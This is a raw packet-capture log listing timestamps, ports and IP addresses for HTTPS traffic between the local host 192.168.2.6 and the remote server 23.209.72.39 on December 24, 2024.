Dec 24, 2024 19:28:38.151890039 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.178168058 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.182872057 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.193917990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.199287891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.199693918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.199717999 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.199769020 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.199892998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200161934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200196981 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200211048 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200340986 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200352907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200365067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200376987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.200555086 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.221725941 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221739054 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221754074 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221802950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221816063 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221946001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221956968 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221968889 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221982956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.221995115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.227376938 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.261037111 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261070013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261084080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261205912 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261219978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261230946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261245012 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261451006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261480093 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261492014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261504889 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261518002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261532068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261656046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261682987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261765003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261778116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261789083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261801958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.261815071 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.268141031 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.268528938 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.300225973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300406933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300419092 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300432920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300445080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300457001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300539017 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300551891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300564051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300576925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.300798893 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.337157965 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.386256933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.399235964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.407126904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.407223940 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.407237053 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.407270908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.410691977 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.413563013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413727999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413794994 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413808107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413913965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413927078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413938999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.413953066 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.414036036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.414571047 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.434077978 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.453553915 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.471461058 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.471544027 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.477935076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478204966 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.478302002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478338957 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478393078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478427887 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478462934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478519917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478554964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478688002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478720903 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478758097 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.478895903 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.489188910 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.489249945 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.489300966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.489336967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.489372969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.498089075 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.506361961 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.506392956 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.506450891 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.506494999 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.506608009 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.506678104 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.512728930 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.512840986 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.512975931 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.513024092 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.513747931 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.513817072 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.518978119 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.528276920 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.529200077 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.544148922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.544534922 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.710092068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.717756033 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.717864990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.718070984 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.718121052 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.718135118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.718147993 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.748369932 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.758184910 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.762156010 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.764776945 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.765794039 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.767290115 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.809685946 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.823858023 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.824217081 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.824301004 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.830092907 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.839112043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.848871946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851268053 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851407051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851460934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851495028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851547003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851581097 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851614952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851649046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851700068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851701975 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.851737022 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851769924 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.851804018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.852042913 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.860488892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860544920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860595942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860630035 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860663891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860697985 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860733032 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860805988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860841036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.860877991 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.861136913 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.870654106 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.870754004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.870788097 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.870876074 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.870898962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.871490002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.871623039 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.871931076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.872092962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.872128963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.872186899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:38.907186031 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:38.980221033 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.014092922 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.057044983 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.057090044 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.106339931 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.138283014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145752907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145826101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145917892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145950079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145962954 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.145987988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.146017075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.146019936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.146132946 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.153309107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153597116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153626919 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.153664112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153708935 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153747082 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153773069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153903008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153966904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.153981924 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.154107094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.154120922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.154258966 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.154895067 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.170316935 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170340061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170351982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170363903 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170416117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170427084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170514107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170525074 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170536041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170550108 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.170763016 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.186132908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.186146975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.186158895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.186172009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.210547924 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.210899115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.295181036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.302314043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.302680969 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.303273916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303332090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303343058 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303435087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303447008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303510904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303520918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303586006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303601980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.303615093 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.304119110 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.312784910 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.328418970 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.335732937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.335895061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.336102962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.336113930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.337378025 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.343652964 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.377042055 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.383996964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384254932 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.384552002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384659052 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384674072 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384743929 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384778976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384824991 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.384839058 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.385015965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.385066986 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.385077953 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.385369062 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.395673037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395697117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395730019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395817995 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395829916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395843029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395854950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395941973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.395999908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.396012068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.396152020 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.415887117 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.469043016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.476782084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.476857901 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477032900 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477083921 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477097034 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477098942 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.477214098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477226973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477238894 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477363110 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477375031 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477456093 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.477663040 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.482476950 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.482933044 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.485544920 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.486835003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.490392923 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.643466949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.658473969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.667767048 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.667846918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.668095112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.668098927 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.668107986 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.668123007 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.672930002 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.723952055 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.730458975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737066984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737205982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737240076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737329006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737339020 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737365007 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.737567902 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.756333113 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.811695099 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824364901 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824378014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824619055 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.824645042 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824657917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824671030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824682951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824693918 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.824703932 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.825923920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826035023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826087952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826100111 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826109886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826138973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.826752901 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.828671932 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.829705000 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.829765081 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830008030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830100060 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830112934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830228090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830239058 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.830249071 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.831630945 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.833916903 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.836632967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837430954 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:39.837701082 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:39.837773085 CET	443	54108	23.209.72.39	192.168.2.6
